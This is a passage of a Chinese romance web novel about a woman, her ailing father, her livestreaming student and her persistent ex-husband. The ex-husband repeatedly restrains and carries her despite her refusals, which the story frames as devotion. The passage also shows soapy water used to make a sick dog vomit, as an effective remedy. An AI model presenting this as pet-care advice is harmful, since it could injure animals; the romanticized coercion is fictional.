梁桓宇却哼着歌挎起吉他,对她的动作视而不见,嘻嘻哈哈笑问大家:“今天你们想听什么歌?” 屏幕里穿插刷起了几首歌曲名字,梁桓宇眼神掠过,随便拨了几个音,说:“虽然你们点歌了,但我想唱其他的,你们要听吗?小黄车里有鲜花在售卖哦,是小姐姐亲手种的花,宝宝有喜欢鲜花的,可以看看右下角的小黄车,送亲友送爱人都合适。” 【小姐姐种的!】 【所以是在小姐姐家里吧!】 【梁子你变了梁子】 【不要梁子,要小姐姐出境】 梁桓宇微微一哂,唱了起来。 “我等太阳落山时, 我等彗星撞地球, 才能等到你啊, 等我试过了所有音符, 等我感受到你的温度, 才能等到你呀……” 梁桓宇每场直播唱的歌,总有那么几首是重复的,但今天这首许满没听过。 温暖治愈的歌声响起,许满听那调子轻快活泼,有让人宁静下来的力量,不知不觉听完了一曲。 音乐一收,屋内电视播放的戏曲声音就显了出来,许满想起许晋文,起身进屋去看看他怎样了。 许晋文果然睡着了。 许满关了电视,扶他去卧室睡下,又想起门外的摊子,准备去把摊子收回来。 一出来,发现原本坐在凳子上的骆亦迟不见了。 大门敞着,不知道人什么时候走的。 走了也好,许满挪开凳子,去到门口,收拾那一桌子小玩意儿。 正弯腰收拾着,忽然,背后有人叫了她一声。 “许满。” 许满应声回头,猝不及防的,手被一只宽厚大手握住,腰间跟着缠上来一条野蛮有力的臂膀,还来不及反应,就被人用不容抗拒的力量抵着,几步抵到墙边,后背重重砸在了墙上。 看清来人,许满没有惊叫,反而理智的镇定了下来。 距离骤然拉近,四目相对,来人不知道什么原因黑着脸。 狂乱的心跳声和不平静的喘_息声交织在一起,一呼一吸之间,冲击着许满坚不可摧的心房。 她任由来人将她手腕紧扣,冷静与他对峙。 然后,眸光淡然:“骆先生,请自重。” 骆亦迟定定望向她,嗓音低哑:“告诉我,里面那个唱歌的小男生和你是什么关系?是你的追求者?还是未婚夫?” 树叶沙沙,夏虫鸣唱,院子上空飘来深情似告白的歌声。 “你应该会明白我的爱, 虽然我从未向你坦白, 多年以来, 默默对你深切的关怀, 为什么你还不能明白……” 许满望进骆亦迟黑沉的眼底,从容问他:“这跟你有什么关系呢?” 她又避开目光,善意提醒:“骆亦迟,你忘了?我们已经离婚了,早在六年前。现在的我和你,没有任何关系。” 骆亦迟一怔,手上的力道不由松了几分。 许满趁机将手抽走,轻轻一推,推出个空隙,闪身,从密不透风的禁锢中退了出来。 有寒芒在余光中闪过。 是骆亦迟落寞垂下来的手,无名指上戒指擦过身边,闪烁出的冷冽碎芒。 许满大步不停,快速将东西收好,关门,进了院子。 第23章 第 23 章 又来。 梁桓宇第二天上午才把这个瓜吃明白。 “以我男人的视角来看, 前夫哥接近你绝对有目的!” 许满在给鲜花包快递,昨晚直播效果出乎意料的好, 上了四个链接,全被拍了,闻言求教道:“那依你高见,他有什么目的?” 梁桓宇大胆猜测:“会不会是想和你复合?” 许满首先排除了这个最不可能的可能。 “村里人不是说过了,来团建旅游的正式骆氏集团,所以他来应该就只是路过买花, 偶然碰见了我吧。婚姻存续期间他就不爱我,现在自然也没有理由特意来找我,而且我们都离了六年了,哪怕丧偶, 也早该忘干净了,还复合?就不怕我已经再婚, 六年抱四个了?” 骆亦迟戴着婚戒, 婚戒那样宣誓主权的物件, 能让他一直戴着, 一定有很珍惜的原因在里面。 看来她做不到的, 有人做到了。 是池柠吗? 许满心想。 梁桓宇还沉浸在八卦中:“前夫哥开那么名贵的车, 起步至少是个总吧, 我搜搜看网上有没有他的资料, 对了, 前夫哥叫什么名字来着?你再说一遍, 我忘了。” 许满打包好了一束花, 放到旁边。 “骆亦迟。骆驼的骆,亦真亦假的亦,迟到的迟。” 梁桓宇打开浏览器, 啪啪几下输入这个名字。 结果出来,梁桓宇定睛一看,震惊了,“哦豁,还真是个人物!” 他念着网上关于骆亦迟的介绍:“其父骆彦怀退休后,开始逐步接手骆氏企业,之后使用雷霆手段收回骆氏90%的股权,不顾股东反对一力促使骆氏企业完成改革,连续三年成为连城最年轻最有影响力的企业家之一……除骆氏几家上市公司外,名下还关联了一家娱乐公司,拥有旗下唯一艺人池柠,后续投资了几部影片……挤进国内富豪排行榜前一百……哦,这人物关系里,还写着你是他前妻呢。” 许满心不在焉听着,不知不觉跟着诧异,没想到一离婚,骆亦迟不仅成功断奶了,还成了骆家掌权人一样的存在,都快把他爸比下去了。 简直让人刮目相看。 在哪儿求的极速成长药,她也想来一颗尝尝。 梁桓宇念着念着,忽然瞪大眼睛,态度一百八十度大转弯:“我想起来了,就那个演员池柠的绯闻男友对不对!隔三差五就跟池柠一起出现在热搜上!怪不得老师你跟他离婚,原来他早就劈腿了啊!” 梁桓宇摸着下巴揣摩:“但池柠现在有正牌男友啊,到底谁是小三?” 许满笑笑没说话。 梁桓宇接着浏览:“嘿,这还有一条陈年老八卦,说前夫哥和他妈母子反目,差点把他妈送进监狱,哎老师这是真的吗?” 许满一惊,停下手中动作,“还有这种事?” 梁桓宇也惊:“你不知道?” “我为什么要知道?” “你是她前妻啊!” 许满莫名其妙:“前妻就应该知道吗?” 梁桓宇感到不可思议:“作为前妻你就不好奇前夫的生活吗?” 许满:“我为什么要好奇?我跟他又没什么关系了,好奇他做什么?我不好奇,也没空好奇。” 梁桓宇直接惊掉下巴。 和许满相处这几天,怎么看,许满都不像是个凉薄之人。 但为什么不好奇呢? 是个正常人都该好奇的吧? 好奇的会偷偷在网上输入前任名字查询他相关的消息,或者匿名潜入前任的社交网站看他最近生活如何?有没有比自己想象得差? 但许满都没有,甚至在梁桓宇查看骆亦迟这些信息的时候,她都没表现出平常之外的关心,八卦之心还没梁桓宇高。 梁桓宇只能想,不好奇可能是不爱了,也可能是放下了,总之,他佩服许满这种洒脱的心态。 而梁桓宇不知道的是,许满之所以不好奇,纯纯是因为没空好奇。 一是学业繁忙,二是要照顾许晋文,她自己的生活都还顾不过来呢,哪有时间和精力去操心别的。 分开这六年,许满对骆亦迟一无所知,但昨天再重新见到时,确实感觉骆亦迟跟之前不一样了,浑身上下透露出一丝捉摸不透的深沉和忧郁,像蜕掉了阳光外壳的生物,袒露出布满伤疤的柔软真实来,却又惧怕示人,只能紧缩着,将自己藏起来。 梁桓宇:“我有点信前夫哥不爱你了,他如果爱你,怎么会让你和你爸住这儿?你起码应该分走他一半的家产才是。” 许满客观的说:“离婚后他给了我一百万,那时他还没接管骆家的企业,一百万是他一年的工资。” 言外之意,骆亦迟把属于自己的正当收入都给了她。 “哦,那钱呢?上学用了?” “没有,都花在我爸身上了,前面的手术,后面的康复,如果没有那笔钱,我爸他……可能就不在了。” 一般人面对前任,要么诋毁诅咒,要么纠缠怀念,像许满这样不怨恨不在意的人很少见,至少梁桓宇他没见过。 院子里刮来一阵小风,花坛里花朵随风摇摆,抖落一阵芬芳。 大黄在花坛边趴着纳凉,花粉扑落到脸上,大黄不禁打了个喷嚏。 暖阳正好,微风不燥,梁桓宇抱起吉他,“许满老师,有一首歌想送给你。” “什么歌?” “你听。” 梁桓宇唱起来。 “你往前走,不要回头, 上天让你错过谁都有理由, 怕你受伤,独自承受, 才把最好的人留到最后。 你往前走,不要回头, 别再为旧人旧事湿了眼眸, 别怕失去,学会放手, 世上还有另一种幸福,叫曾经拥有。” 歌挺好听,许满听着听着,忽然想起昨晚一直没处理的一件事。 “梁桓宇。” 她打断沉浸唱歌的梁桓宇,正色的问,“昨晚你为什么不跟网友们解释?” “解释什么?” “解释我是你老师,你只是帮我直播卖花这件事。” “哦,这个啊……”梁桓宇巴咂巴咂嘴,“许满老师,你没发现,只要我一直不解释,直播间的观看人数就会一直往上增加吗?” “有吗?”许满光听歌看评论了,根本没注意过直播间人数去留这件事。 “当然有,这对我们有好处,而且是很大的好处。” 很少关注直播的许满摆出求问的表情。 梁桓宇:“你没看昨晚我们上的四个链接全卖出去了,而且很早就被拍了,下播时间都提前了。” 许满看着面前四个待发的快递包裹,明白了,不禁佩服梁桓宇,“还真是。”. 下午,许满和梁桓宇一起去把快递发了。 回来时许晋文满脸焦急的等在门口,许满还没停稳车子,他就拄着拐着急迎了上来:“满儿,大黄它,它……” “大黄怎么了?” 大黄在院子里趴成了一滩,脸埋在一堆食物残渣里,轻轻的打着抖,看见梁桓宇进来,小眼睛勉强的骨碌一转,耷拉的耳朵用极小的幅度掀了掀,委屈巴巴朝他“呜呜”,四腿用力想站起来。 还没呜呜完,忽然腿一软,又趴下了。 “这是大黄吐的?”许满指着那一堆混合了腐烂肉糜和菜叶的食物残渣说。 梁桓宇赶紧凑近大黄去查看,“看样子是吃坏肚子了。” “那怎么办?”活泼懂事的大黄如今成了这副可怜兮兮的模样,许满也跟着着急,“要去医院吗?村里没有宠物医院,得去市里。” “它吐出来一些,但不知道吐完没,得催吐,老师,有肥皂水吗?我喂它点肥皂水试试。” 许满立刻去准备肥皂水。 许晋文急啊,站在旁边自责的说:“没看住,跑远了,回来就,一动不动,咋办呀?” 梁桓宇心里有数,安慰许晋文:“没事儿大爷,没怪你,大黄就爱乱跑,应该是去翻垃圾吃了,它吐出来就好了,大爷你别有心理负担。” 说着说着,又不禁心疼起大黄来。 在家时顿顿狗粮罐头鲜肉伺候着,把大黄皮毛养得油光发亮的,现在跟着他下了几天农村,天天只能吃点水煮菜叶,生活水平直线下降,不仅狗毛掉得多了,连狗脸都瘦了一圈。 要不回市里养几天? 正琢磨着,许满搞来了肥皂水,梁桓宇掰开大黄的嘴喂进去,大黄“啊呜”一声,又吐出来些,一直等到没啥吐的了,梁桓宇才拖起大黄搂进怀里,顺着大黄的毛,说:“老师,我得带大黄去医院看看。” 许满知道耽误不得,看了眼时间:“一会儿还有最后一趟城际班车发往市里,你赶紧收拾收拾,我送你去车站。” 梁桓宇没做推辞,半个小时后,赶上最后一班车,带大黄走了。 被这一人一狗热闹了几天,小院里突然冷清下来,许满还有些不适应。 晚上早早吃了饭,天还没黑,许满在院子里纳凉,梁桓宇发来微信,说大黄做完检查了,医生诊断说是肠胃炎,输几天液就好了。 配图一张大黄输液的照片。 大黄在自己家吃坏肚子,许满挺内疚,关心的问:【是不是乡下的生活大黄不习惯?】 梁桓宇回答:【没有啊,你没看大黄天天不是追鸡就是逗猫,从来没这么开心过,释放天性了简直】 梁桓宇:【对了,前夫哥今天去找你没?】 许满:【没】 梁桓宇:【好遗憾,本来今天想开个前任专场让前夫哥听听的,算了,有机会再开吧。】 许满:【直播设备我先帮你收起来了,明天给你寄过去?】 梁桓宇:【不用寄,我家里还有备用设备,那套先放你那儿吧,等大黄好了我就又过去了,一个月的民宿我才刚住,不能白白浪费了。】 许满:【好。】 先不论梁桓宇直播卖花效果如何,凭心而论,许满挺感激他在这件事上为自己付出的努力。 开学后就各自分开了,以后不能老麻烦梁桓宇,晚上,等许晋文睡下了,许满无所事事,打开短视频软件,授权开通了直播。 第一次直播,她也不知道该怎么弄,就把镜头对着院子里的花,在观看人数为0的直播间里,介绍这种花叫什么名字,属于哪个目哪个科,该怎么种,和什么搭配养在一起最好,还学着梁桓宇,看见有网友进来,热情说一句欢迎,网友走了,就继续干巴巴的介绍。 播了半个小时,除了废了点口水,有点口渴外,其他没有任何收获。 看来直播并非易事,试过之后,许满有了这个认知,更加佩服梁桓宇了. 梁桓宇没说具体什么时间再来,但他不在的这几天,许晋文失去了狗子的陪伴,又开始给许满找事儿了。 康复医院的医生建议他没事儿就泡泡脚,能舒缓疲劳,安神助眠,许晋文就把泡脚当成了一回事儿,隔三差五的想起来就要泡。 前阵子家里储存的药材用光之后,许满给许晋文的泡脚水不加药包了,想着等天凉了,再给搞药包来泡。 这天晚上,许晋文照常泡脚,看见泡脚桶里水质清澈,就问许满:“怎么好久,不用药了?” 许满说:“药包用完了,现在天热,稍微泡泡就行,天冷了我再给你买药包泡。” 许晋文:“不要买,自己采,自己采点,晒晒,好了嘛,干嘛,花钱买?” 这意思是让许满上山去采药。 许满不愿意去,天热,药材没几个,山上蛇鼠虫蚁还多,一去就是一天,采回来还得自己晒,费神费力,还得拜托刘大爷照顾许晋文吃饭,太麻烦了。 许满便说:“村里卫生所就有卖的,有现成的药包,也有晒干的药草,一斤花不了几块钱,不用上山去采,用的时候去那里买就行了。” 许晋文一昂头:“买?不得花钱?” 许满:“又不贵。” “不贵,也是钱。算了,以后,不泡了,浪费钱,我要是能,上山,我就,自己去。” 许晋文说着,把脚拿出来,干脆不泡了。 第二天,许满去卫生所买了泡脚药包来放在家里。 被许晋文看见了,趁许满不注意,拎起药包,拄着拐,走路一点一点的,顶着大太阳去卫生所把药给退了。 晚上许满煮好水去找药包,没找着,便问许晋文。 许晋文聚精会神看着电视,理直气壮的说:“没、没看见。” 下午许满就听邻居说,看见许晋文自己去卫生所,现在心里猜了个七七八八,“爸你不会把药包给退了吧?” 许晋文理直气壮的语气带了那么点心虚:“没有。” 那就是退了。 许满觉得许晋文有点不可理喻:“你要是退了那就不泡药包了。” 许晋文大声:“不泡就,不泡!” “……” 得,生气了。 许满暗自叹了口气,耐心问许晋文:“爸你想干啥呢?” 许晋文拗起脾气:“采点药,都不愿意,花,那个钱。” 穷了一辈子的人,就会在这点小钱上省。 为了照顾许晋文的脾气,许满只好先顺着他的意思:“好,爸,哪天没那么热了,我就去山上采药。” 这天很快来了。 许满本来是为了哄许晋文,没想到说出去这话还没两天,老天爷颇照顾她的面子,周末一大早,说不热还真就降温了。 太阳被厚厚的云层遮住,没出来,还刮着点小凉风,许晋文一直惦记着这个事,一起床就跟许满说:“没太阳,适合采药。” 许满打开天气预报,多云,没雨。 她望向远处蒙蒙的山,见太阳若隐若现,似乎没有乌云笼罩,便决定快去快回,早点把许晋文这件心事给了了,省得他一直惦记。 吃完早饭,许满提前做好午饭,敲开刘大爷的门,拜托刘大爷今天暂时帮她照看许晋文,说自己要上山一趟,中午铁定是回不来的,有事给她打电话。 刘大爷不懂:“上山干啥?现在山里又没菌子。” 许满无奈:“不上也得上,我爸非得让我去给他采药,不去的话就跟我闹脾气。” 和许晋文处了一辈子邻居,刘大爷自然知道许晋文的脾性,深感认同的点点头,“你爸真是的……行,满儿,你去吧,老许你就放心交给我,你自己注意安全啊,别走得太深,天黑之前就赶紧回来。” “哎,好,谢谢刘大爷。” 安置了许晋文,许满穿上长衣长裤,带上遮阳帽,拿上干粮和工具,全副武装出发了。 走到村口,看见马路对面的电线杆旁停着一辆眼熟的黑色轿车。 许满瞥眼看清车牌,当没看见,目不斜视继续向前。 刚走过车头,车里人影一闪,西装革履的骆亦迟迈下车,大步流星穿过马路,几步走来站定在许满跟前。 骆亦迟挺直脊背,目光柔和,温声说:“你去哪儿?我送你。” 第24章 第 24 章 “你。” 许满没想到再一次遇见骆亦迟。 挺佩服骆亦迟5.0的视力, 她全副武装就露了个下巴尖,隔了四五米宽的马路, 骆亦迟都将她认了出来。 “不好意思啊骆先生,我们不顺路。”许满保持距离,客气拒绝。 然后往右跨出一步,准备从他身边走过去。 骆亦迟伸直手臂,一横,挡住了她的去路。 好狗不挡路。 许满赶时间呢, 侧眸看向拦路人,眼神不悦,“ 请让我过去,谢谢。” 鉴于人家现在是个人物, 许满说话很有分寸,积了口德, 没出口骂人。 骆亦迟脸色紧绷:“告诉我你去哪儿, 我就不拦你。” 这是在耍无赖? 耍无赖是吧, 那好, 许满也不客气了。 她的视线在骆亦迟熨帖平整的西裤和亮得能照影子的皮鞋上来回扫视几遍, 不认为这样的装备能跟她顺路顺到一起, 于是指指面前的山路入口, 希望某人能有眼色, 懂她的意思, “我上山呢, 你也顺路吗?” “顺, 等我一下。” 骆亦迟急匆匆回到车旁,打开后备箱,从里面拎出来个手提旅行包, 钻进了车里。 许满自然没空等他,看他进了车里,招呼都没打,抬脚走了。 骆亦迟换好运动装再出来,原地已经没了许满的影子,他慌张的视线去寻找,发现许满已经在不远处的山路上,走了很远,半点没有等他的意思。 他二话不说,拔腿狂奔追上许满,拉住她的胳膊:气喘吁吁问她:“你为什么不等我?” 许满甩开对方没有一点自觉的手,一脸莫名其妙,“我为什么要等你?” 一句话把骆亦迟噎住。 半晌,给不出答案。 索性许满压根也没指望能听到个所以然来,见骆亦迟不言语,她也没追问。 她就是不懂,不懂骆亦迟此举的目的,猜不透他想干什么。 没离婚时,她出门想让骆亦迟顺路送她,骆亦迟从没当一回事,于是她熟悉了家门口所有的地铁和公交路线,都不需要查地图,只要有目的地,她就知道怎样坐车最省事。 现在,在她最熟悉的家乡,阔别六年的前夫居然打着顺路送她的名义,不顺的路硬要顺到一起,跟她一起去爬山? 有病吧? 一个养尊处优的大总裁,大热天的不待在办公室里给国家创造GDP,跑来这乡村小镇跟她一起爬山??? 没苦硬吃! 有病! 许满好言相劝,“山路危险,为了大家都好,奉劝骆先生你不要跟着我,不出事还好,万一出了事,我一个普普通通小村民可担待不起。” 丢下这句话,许满没再管骆亦迟,抬脚继续往山上走。 她速度很快,走了一会儿,身后没有声音。 回头一望,见骆亦迟还站在山脚处,双手叉腰仰头看着她,见她回过头来,紧抿的唇线略略松动,迈步跟了上来。 许满:“?” 这什么意思? 许满脑中浮出个大大的问号,没作他想赶紧转身,想甩掉这个大麻烦跟屁虫。 快步走了十来分钟,又回头看,这下终于看不见骆亦迟的影子了,才逐渐放缓脚步,专心寻找药草。 山路崎岖,药不会按着人的想法长在路边任人采摘,许满一路走一路看,通过叶子仔细分辨哪种是药,哪种是草,以防误挖。 但是伏天日子,药草似乎也怕热,一个个都躲起来不冒头,许满沿路挖了两个多小时,都挖到大晌午了,篮子里才挖了一个底,还不够许晋文半个月用。 估计都被平时上山的人挖走了,这样下去不行,回家交不了差,还得再往山里深处走走才是。 许满打定主意,原地找了块石头坐着歇脚,等歇够了再启程,顺便补充能量。 她从包里拿出提前做好的午饭,常温下就着水吃了两口,双眼不经意往山下一瞥,只见方才经过的拐弯处,冒出一个熟悉的黑色脑袋来。 许满额头瞬间黑线。 上山的路就这一条,骆亦迟非要爬山,所以能跟上来并不奇怪。 奇怪的是,许满不知道是什么支撑他必须得上这趟山来。 难道真如梁桓宇所说,他是特意来找她的? 不可能吧? 理由呢? 明显没理由啊! 骆亦迟保持不紧不慢的步伐来到了许满跟前,挨着她坐下,看到她脚边的保温杯,喘了口气,说:“有水吗?我喝两口。” 许满端着饭盒搂紧水杯:“有,但你要是喝过了,我就不喝了。” “行,那我不喝了。” 清晨的凉风已经不再,现下闷闷的,不见太阳,一点风都没有,体感很不舒服。 许满眼角余光暼见骆亦迟头上的汗,密密麻麻聚成一股,顺着鬓角,流进他半敞的领口里。 被拒绝了,骆亦迟就沉默的坐着,望向远处,不再出声。 许满这饭吃得不能再心无旁骛,嚼着饭菜,总觉得不痛快,勉勉强强吃完了,赶紧收好东西,再出发。 她一站,骆亦迟也跟着站起来。 走了会儿,骆亦迟步步紧跟,一直保持着三四步远的距离缀在许满身后。 许满发现他跟着,白眼一翻,转身,不带好脸的质问:“你要跟我到什么时候?” 骆亦迟说:“跟到你回家,山路危险,我想护你安全。” 许满像在听笑话:“我不觉得你比我更熟悉这里,也不觉得我需要你来保护。” 骆亦迟垂眸,落寞道:“哦。” 许满觉得自己够冷淡了,都冷淡到能避暑的程度了。 但看骆亦迟这个样子,难道是她的冷淡不够明显?还是骆亦迟早就察觉她的冷淡,但是却视而不见? 但许满没心思跟骆亦迟周旋,她还要走很长的路,不知道要走到什么时候,她希望骆亦迟知难而退,不要再跟着她。 但显然,骆亦迟没这个自觉。 他站着,没动。 许满又把身子转过去。 刚走了一步。 骆亦迟也跟着走了一步。 许满索性把东西往地上一撂,不走了。 “说吧,你时隔六年突然又来接近我,是什么目的?” 骆亦迟缓步走到她身边,拿起她的包裹和工具,替她扛着,“我说我后悔了,你信吗?” 许满不可思议的盯着他,“你后悔了?后悔什么?那一百万?” 骆亦迟淡淡:“你。” 许满一怔,愣了几秒钟,才反应过来这个字背后的含义,一把夺过骆亦迟手中的东西,怒气冲冲道:“有病!” 转身加快脚步,头也不回,大步往山里走去。 平和的心情因为那一个字搅动出一池春水,许满没有触动,只觉得气愤。 她还想说,如果骆亦迟是因为那一百万来找她,那她就实话告诉他,钱已经花光了,如果他想要,抱歉,她一分也没有。 但骆亦迟却说,“你。” 真被梁桓宇说中了! 但很抱歉,那更不可能! 许满愤愤往大山深处去,深山老林里果然药草多,她眼神毒辣,一看一个准,三两下就能把药草连根挖起。 骆亦迟一步不离跟在她身后,看清她挖的是什么之后,也帮她一起找,一起挖。 一开始找错了,拿着自己挖的跟许满挖好的对比,发现不对,默默扔掉,记住特征,再去找对的挖。 搞错几次之后终于挖对了,小心翼翼的递给许满,许满却不领情,看都不看他,更吝啬一个字给他,把他放在篮子里的药草捡出来,面无表情的扔掉。 骆亦迟心里难受,但什么都没说,只沉默的做着一些无用的事来找补。 比方说,把许满放在篮子里的药草上的泥土抖落,或者帮许满捡拾不慎掉落的工具,又或者看天色不对,提醒许满:“要下雨了。” 山林深处树木高大蔽日,许满一直埋头寻找,没注意天气,抬头时,四周视野已经变暗,乌云压顶,树叶摇摆,刮起了风。 现在是下午四点二十分,手机上天气预报显示当前多云,未来十二小时内降水概率为零。 这该死的天气预报,一点都不准! 没带伞,原路下山返回家,要一个小时。 这期间雨肯定会下起来,她铁定会淋个落汤鸡,辛辛苦苦采的那一篮子药,也会被雨打湿。 许满心烦,第一时间寻找可以避雨的地方,但四周都是冲天高的大树,夏天雨水又往往伴着惊雷,倘若就地避雨,雷打下来,是要出人命的。 那怎么办? 要不还是跑吧。 许满骂骂咧咧收好工具,赶紧就走。 她前脚走,后脚骆亦迟就抓住了她。 “你去哪儿?” 许满不想让骆亦迟触碰她,用力甩胳膊,没甩开。 “要下雨了,当然是回家!” “雨马上就落下来了,你确定你能回去?” 乌云沉沉如墨团,在头顶翻滚,裹着阴风,卷起周边的树枝野草。 许满正待反驳,一滴豆大的的雨水冷不丁就砸到了脸上。 啪嗒啪嗒,刷刷刷刷—— 大雨说来就来,乘着风,势如破竹。 骆亦迟紧急脱下外套盖在许满头上,抓起她的手,毫不犹豫迅速狂奔。 “走啊,刚才看见一个山洞,赶紧去避一避。” 第25章 第 25 章 富家子和贫家女。…… 山洞有些远, 许满被骆亦迟一路拽着,不知道跑了多久, 到达洞口时,还是被雨淋了个透彻。 有骆亦迟的外套挡着,许满不至于太狼狈,但骆亦迟就不一样了。 他微乱的发丝滴着水,白色的T恤布料沾水后变得半透明,贴在身上, 将他匀称的身体线条紧紧勾勒。 骆亦迟胸膛宽阔厚实,手臂肌肉紧实,水滴淌下来没过精瘦腰身,一路延伸至笔直的黑色运动裤里, 将大腿肌肉的轮廓清晰的凸显出来。 是一具标准成熟的男性躯体。 不复六年前的稚嫩,如今的他, 肩宽体阔, 刚健挺拔, 如果不是因为有前科, 在许满心里可以说是没有正面评价, 简直性感的让人移不开目光。 许满把身上的外套取下来, 还给骆亦迟, “遮遮吧, 都凸点了。” 骆亦迟脸上闪过一抹尴尬, 不自然的错开许满投来的戏谑目光, 接过外套, 拧干水,披在了身上。 挖好的药材淋了雨,许满将上面那一层湿的挑出来, 甩甩水,摆在洞口,等晾干。 现在还不到五点,天已经快黑了,夏天天长,以往七点左右才天黑,一下雨,把天黑时间都提前了。 雨不知道下到什么时候才会停,许满拿出手机,从包里抽出纸巾,将屏幕上的水擦干,想跟刘大爷说一声,今天可能回得晚,让许晋文别等她了。 幸好手机都防水,许满点了几下,手机一切正常,就是洞里没信号。 走到洞口,勉强找到信号,许满拨了电话。 “大爷,我满儿,家里下雨了吗?” 刘大爷:“没啊,凉快着呢,怎么了满儿?” 许满:“山上下雨了,我暂时回不去。” 雨声刷刷,还闷着雷,通过听筒传达给刘大爷。 刘大爷停顿了下:“哟,山头上果然有一大片乌云呢,满儿,你是在山头上吗?咋爬那么高呢?” 许满:“不知不觉就爬这么高了,刘大爷,拜托你告诉我爸,我被困在山上了,雨停了才能回去。” 刘大爷:“哎,你放心吧,可别在山上待太晚啊,找个地方避避。” 许满:“嗯,我在一个山洞里呢,淋不着。” 刘大爷:“行,那我就放心了。” 电话挂断没多久,天彻底黑了下来。 洞里黑黢黢一片,许满坐在洞口,摸黑等雨停。 入夜后山里很冷,许满抱臂蜷成一团,一身湿衣粘在身上,凉风伴着细雨一吹,寒意上来,瑟瑟发抖。 “阿嚏——” 没忍住打了个喷嚏。 许满揉揉鼻子,背后突然“嗤”的一声,燃起了火光。 许满条件反射往后面看,见骆亦迟手里拿着个打火机,蹲在一堆杂草树枝旁,拇指一擦一擦,打火机也跟着一闪一闪。 显然是在生火。 见许满看过来,骆亦迟解释:“刚发现有个废旧的打火机,估计是前人留下的,没想到还弄用,你进来坐,在外面容易着凉。” “不了,外头挺好。”许满转头收回目光。 打火机时间久了,不太好用,要擦好几下才能冒出火花。 骆亦迟勉勉强强的用它生起火,待火烧得稳定之后,起身来到许满身边。 温声说:“去吧,火燃起来了。” 许满别着头,不说话。 骆亦迟极具耐心:“如果你不想看见我,可以换我坐在洞口。” “阿嚏——” 许满回以一个喷嚏。 这样下去许满肯定会生病,骆亦迟仅犹豫了半秒钟,便伸出长臂穿向许满腋下,另一只手抄向许满腿弯。 许满猝不及防被抱起,大叫一声:“你干嘛!” “别动。” 骆亦迟牢牢箍着她,卡住她的胳膊不让她动弹。 “我只想跟你换一下地方,你乖乖坐在火旁就行,我不会对你做什么。” 许满不想跟他接触,双腿竭力乱蹬:“谁要跟你换了?你不要碰我,你放我下来!” 骆亦迟充耳不闻,固执的把许满抱去火堆旁。 许满反抗意志极其强烈,上身直挺,愣是要靠蛮力从骆亦迟的桎梏中挣脱出来。 骆亦迟没想到她抵触决心那么大,手上力道不由一松—— 脚下有一堆乱石子,他眼尖的看见了,怕许满磕到,下意识去护她,紧急之下长臂变换姿势往里一收,揽住许满肩头侧身一翻,许满就势复又跌进了他怀里。 背部硌上乱石子,骆亦迟眉头微皱,抱着许满在地上滚了半圈。 许满不得以和骆亦迟如此近距离的接触,脸贴在他胸膛,掌心感受到强烈急促的心跳,怦怦怦怦—— 许满莫名觉得烫手,五指微蜷用力推他胸口,想从他身上起来。 但骆亦迟似乎反悔了,手臂力道不仅没松,反倒收得更紧。 “放开我。”许满抗拒道。 骆亦迟贪恋这偷来的片刻温存,即使这温存在对方眼里充满了厌恶。 “许满,让我抱你一会儿,我太久没抱你了。” 他像一个饮着鸩毒的罪人,压抑着澎湃的情感,希望面前冷漠的执刑者答应他赴刑前的最后一个恳求。 “不要!” 许满毫不留情拒绝,手掌按在他胸口,企图用力挣脱。 打滑的湿衣在掌心力道下轻轻一推,身下男人胸前口袋里,一直贴身藏着的某个东西不小心被推了出来。 小小圆圆的一颗,顺着身下男人的肩膀,骨碌碌的,闪着剔透的光,滚到了火堆旁。 骆亦迟意识到那是什么,赶紧松开许满翻身去捡。 然而已经来不及。 许满先他一步拾起,捏在手里,迎着火光仔细看起来。 那是个玻璃弹珠一样的小玩意,晶莹剔透的球体,里面有一团黑色丝线一样的花纹。 如果只是个普通弹珠,许满或许不会在意,但她没见过这样的花纹,对着那花纹研究了半天,后面看清楚了,猛然反应过来,那压根不是什么普通花纹,而是一根头发,团成一个整齐规律的线圈,被封在了透明的树脂球里。 再看骆亦迟紧张的神色,许满百分百确信了,那就是一根头发! 恐怕还不是寻常之人的头发! 是谁的? 池柠的? 不管是谁的头发,但把一根头发永久封存这个行为,不像是一个正常人能做出来的事,在许满看来挺恶心挺变态。 她嫌弃的把它丢掉,朝着火堆抬脚一踢,树脂球跃起,噗的一声,跳进了火堆里。 “你干什么?!” 骆亦迟呼吸一窒,赶忙去把它捡回来,拿个木棍攉啊攉,把树脂球从火里攉了出来,擦擦灰,心疼的握在手里。 许满看他那宝贝样子,就觉得好笑。 “谁的?”她问。 “池柠的?”她猜。 骆亦迟沉默。 良久,他说:“你的。” 许满:“?” 骆亦迟垂眸:“没错,是你的。” 许满万万没想到,脱口而出道:“……变态!” 骆亦迟抿唇,开口时不由提高声音:“对,我是变态,跟你离婚后我想你想得不得了,在床上捡到你的头发,就变态的跟个宝贝一样珍藏起来!” 像个被抛弃的怨妇一样,他朝许满抱怨:“你哪怕给我留件别的东西呢?我也不至于天天捏着一根头发睹物思人!你说你……怎么那么狠心?” 重逢之后,骆亦迟第一次说这么多话。 如许满所见,他走不出这段婚姻。 刚离完婚那阵子,他意志消沉,天天躲在家里睹物思人,借酒浇愁。 好多人来劝他,他一概不听。 还因为杜曼玲屡次让他找个门当户对的姑娘一起过,起过多次争执。 后来还是骆彦怀出面,跟他提了一些条件,答应他,他的婚姻可以自己做主,想跟谁结就跟谁结,哪怕是跟许满复婚,他才勉强振作起来。 可是之后当他满血复活,想将许满丢下的那枚钻戒收好,以备复婚时再重新戴在她手上,却发现,戒指不见了。 他找遍了房间每个角落,都没有找到。 不知道是被谁拿走了,还是这几天他喝酒喝得神志不清,不记得放在哪里了。 总之,戒指没有了。 骆亦迟好不容易振作起来的精神有了垮塌之势,鲜花枯了,戒指丢了,许满留下的三件东西,只剩下了一件,还是一根头发。 他把那根谨慎放在枕头下面的头发取出来,怕它也被自己粗心弄丢了,便珍而重之的,将它封进了树脂球里,日日带在身上。 爱意随着时间流逝只增不减,多少个思念难捱的夜,只有握着这根头发,骆亦迟才能勉强的闭一闭眼。 没人能懂这根头发在他心里的分量,那是他画地为牢的执念,也是他自欺欺人的寄托,更是他不能倒下的支撑。 哪怕它极度的不起眼。 没人能懂,因为没人是他。 许满却惊呆了,她觉得更好笑了:“骆亦迟,你在说什么?我怎么听不懂。” 她指向自己,“你瞪大眼睛看看,我和你现在的妻子长得很像吗?你都这么饥不择食了?逮着个女的就随便乱说?” 骆亦迟:“不是,我是在对你说,许满。” 他看着许满的眼睛,一字一句,认真说:“我想跟你复婚。” 许满一口回绝:“我不想。” 